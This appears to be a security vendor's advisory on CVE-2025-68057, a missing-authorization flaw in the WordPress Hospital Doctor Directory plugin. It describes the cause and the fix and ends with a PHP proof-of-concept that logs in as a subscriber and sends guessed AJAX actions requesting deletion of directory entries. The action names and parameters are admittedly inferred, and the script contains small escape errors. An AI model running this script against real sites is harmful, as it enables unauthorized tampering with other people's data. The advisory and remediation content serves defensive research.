Atomic Edge analysis of CVE-2025-68057 (metadata-based):
The Hospital Doctor Directory plugin for WordPress versions up to and including 1.3.9 contains a missing authorization vulnerability. This flaw allows authenticated users with subscriber-level permissions or higher to perform unauthorized actions. The vulnerability stems from a missing capability check on a plugin function.
CWE-862 (Missing Authorization) indicates the plugin fails to verify a user’s permissions before executing a privileged function. Atomic Edge research infers this likely occurs within an AJAX handler or admin POST handler registered by the plugin. The description confirms the absence of a capability check but does not specify the exact function or endpoint. The vulnerability exists because the plugin assumes only authorized users can reach a sensitive function, but does not enforce this programmatically.
Exploitation requires an attacker to possess a valid WordPress account with at least subscriber privileges. The attacker would send a crafted HTTP request to the vulnerable endpoint, likely `/wp-admin/admin-ajax.php` or `/wp-admin/admin-post.php`. The request would include the plugin’s specific action parameter, such as `action=hospital_doctor_directory_action`. No nonce or capability verification would be needed. The exact payload depends on the unauthorized action, which could involve modifying doctor directory data, changing settings, or deleting entries.
Remediation requires adding a proper capability check before executing the sensitive function. The plugin should verify the current user has the required permission, typically using `current_user_can(‘manage_options’)` or a custom capability. The function should terminate with `wp_die()` if the check fails. A nonce check should also be added for state-changing operations to prevent CSRF, though the primary issue is the missing authorization.
Successful exploitation allows authenticated attackers with minimal privileges to perform actions reserved for administrators or editors. The CVSS vector indicates low impact on confidentiality (C:N) and availability (A:N), with low impact on integrity (I:L). This suggests the unauthorized action likely modifies plugin data or settings without causing data exposure or site disruption. Attackers could deface the doctor directory, alter appointment systems, or corrupt plugin functionality.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-68057 - Hospital Doctor Directory <= 1.3.9 - Missing Authorization
<?php
/**
* Proof of Concept for CVE-2025-68057
* This script demonstrates unauthorized action execution via missing capability check.
* Assumptions based on metadata:
* 1. The plugin registers an AJAX handler with a predictable action name.
* 2. The handler lacks a capability check, allowing subscriber-level access.
* 3. The endpoint is /wp-admin/admin-ajax.php (standard WordPress AJAX).
* 4. The action parameter contains the plugin slug or a derivative.
*/
$target_url = 'https://vulnerable-site.com/wp-admin/admin-ajax.php'; // CHANGE THIS
$username = 'subscriber_user'; // Attacker's subscriber account
$password = 'subscriber_pass'; // Attacker's password
// First, authenticate to WordPress to get cookies
$login_url = str_replace('/wp-admin/admin-ajax.php', '/wp-login.php', $target_url);
$ch = curl_init();
// Get login page to retrieve nonce (loginnonce) if present
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
$response = curl_exec($ch);
// Prepare login POST data
$post_data = array(
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url,
'testcookie' => '1'
);
// Extract nonce from login form if needed (simplified)
preg_match('/name="loginnonce" value="([^"]+)"/', $response, $matches);
if (!empty($matches[1])) {
$post_data['loginnonce'] = $matches[1];
}
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
// Check if login succeeded (simplified)
if (strpos($response, 'Dashboard') === false && strpos($response, 'admin-ajax.php') === false) {
die('Login failed. Check credentials.');
}
// Now exploit the missing authorization vulnerability
// The exact action name is unknown; common patterns derived from plugin slug:
$possible_actions = array(
'hospital_doctor_directory_action',
'hdd_action',
'doctor_directory_action',
'hospital_doctor_dir'
);
foreach ($possible_actions as $action) {
$exploit_data = array('action' => $action);
// Add potential parameters based on common plugin functions
$exploit_data['doctor_id'] = '1';
$exploit_data['operation'] = 'delete';
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($exploit_data));
curl_setopt($ch, CURLOPT_POST, true);
$response = curl_exec($ch);
echo "Trying action: $actionn";
echo "Response length: " . strlen($response) . "n";
if (strlen($response) > 0 && $response !== false) {
echo "Potential success. Response sample: " . substr($response, 0, 200) . "nn";
}
}
curl_close($ch);
unlink('cookies.txt');
?>
